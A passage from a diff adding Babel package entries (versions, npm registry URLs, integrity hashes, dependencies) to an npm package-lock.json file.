"node_modules/@babel/helper-replace-supers/node_modules/@babel/generator": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.6", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/traverse": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.15.4.tgz", + "integrity": "sha512-UzazrDoIVOZZcTeHHEPYrr1MvTR/K+wgLg6MY6e1CJyaRhbibftF6fR2KU2sFRtI/nERUZR9fBd6aKgBlIBaPg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.15.4.tgz", + "integrity": "sha512-BMRLsdh+D1/aap19TycS4eD1qELGrCBJwzaY9IE8LrpJtJb+H7rQkPIdsfgnMtLBA6DJls7X9z93Z4U8h7xw0A==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.8.3.tgz", + "integrity": "sha512-3x3yOeyBhW851hroze7ElzdkeRXQYQbFIb7gLK1WQYsw2GWDay5gAJNw1sWJ0VFP6z5J1whqeXH/WCdCjZv6dA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.8.3" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.9.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz", + "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==" + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.14.5.tgz", + "integrity": "sha512-OX8D5eeX4XwcroVW45NMvoYaIuFI+GQpA2a8Gi+X/U/cDUIRsV37qQfF905F0htTRCREQIB4KqPeaveRJUl3Ow==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.15.4.tgz", + "integrity": "sha512-Y2o+H/hRV5W8QhIfTpRIBwl57y8PrZt6JM3V8FOo5qarjshHItyH5lXlpMfBfmBefOqSCpKZs/6Dxqp0E/U+uw==", + "dev": true, + "dependencies": { + "@babel/helper-function-name": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/generator": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.6", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/traverse": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.15.4.tgz", + "integrity": "sha512-V45u6dqEJ3w2rlryYYXf6i9rQ5YMNu4FLS6ngs8ikblhu2VdR1AqAd6aJjBzmf2Qzh6KOLqKHxEN9+TFbAkAVQ==", + "dev": true, + "dependencies": { + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/generator": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.6", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/traverse": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.9.0", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.9.0.tgz", + "integrity": "sha512-lJZPilxX7Op3Nv/2cvFdnlepPXDxi29wxteT57Q965oc5R9v86ztx0jfxVrTcBk8C2kcPkkDa2Z4T3ZsPPVWsQ==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.9.0", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.9.6", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.9.6.tgz", + "integrity": "sha512-AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.15.4.tgz", + "integrity": "sha512-eBnpsl9tlhPhpI10kU06JHnrYXwg3+V6CaP2idsCXNef0aeslpqyITXQ74Vfk5uHgY7IG7XP0yIH8b42KSzHog==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.15.4", + "@babel/plugin-proposal-optional-chaining": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-proposal-async-generator-functions": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.15.8.tgz", + "integrity": "sha512-2Z5F2R2ibINTc63mY7FLqGfEbmofrHU9FitJW1Q7aPaKFhiPvSq6QEt/BoWN5oME3GVyjcRuNNSRbb9LC0CSWA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-remap-async-to-generator": "^7.15.4", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.14.5.tgz", + "integrity": "sha512-q/PLpv5Ko4dVc1LYMpCY7RVAAO4uk55qPwrIuJ5QJ8c6cVuAmhu7I/49JOppXL6gXf7ZHzpRVEUZdYoPLM04Gg==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-static-block": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.15.4.tgz", + "integrity": "sha512-M682XWrrLNk3chXCjoPUQWOyYsB93B9z3mRyjtqqYJWDf2mfCdIYgDrA11cgNVhAQieaq6F2fn2f3wI0U4aTjA==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-proposal-dynamic-import": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.14.5.tgz", + "integrity": "sha512-ExjiNYc3HDN5PXJx+bwC50GIx/KKanX2HiggnIUAYedbARdImiCU4RhhHfdf0Kd7JNXGpsBBBCOm+bBVy3Gb0g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-export-namespace-from": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.14.5.tgz", + "integrity": "sha512-g5POA32bXPMmSBu5Dx/iZGLGnKmKPc5AiY7qfZgurzrCYgIztDlHFbznSNCoQuv57YQLnQfaDi7dxCtLDIdXdA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-json-strings": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.14.5.tgz", + "integrity": "sha512-NSq2fczJYKVRIsUJyNxrVUMhB27zb7N7pOFGQOhBKJrChbGcgEAqyZrmZswkPk18VMurEeJAaICbfm57vUeTbQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.14.5.tgz", + "integrity": "sha512-YGn2AvZAo9TwyhlLvCCWxD90Xq8xJ4aSgaX3G5D/8DW94L8aaT+dS5cSP+Z06+rCJERGSr9GxMBZ601xoc2taw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.14.5.tgz", + "integrity": "sha512-gun/SOnMqjSb98Nkaq2rTKMwervfdAoz6NphdY0vTfuzMfryj+tDGb2n6UkDKwez+Y8PZDhE3D143v6Gepp4Hg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.14.5.tgz", + "integrity": 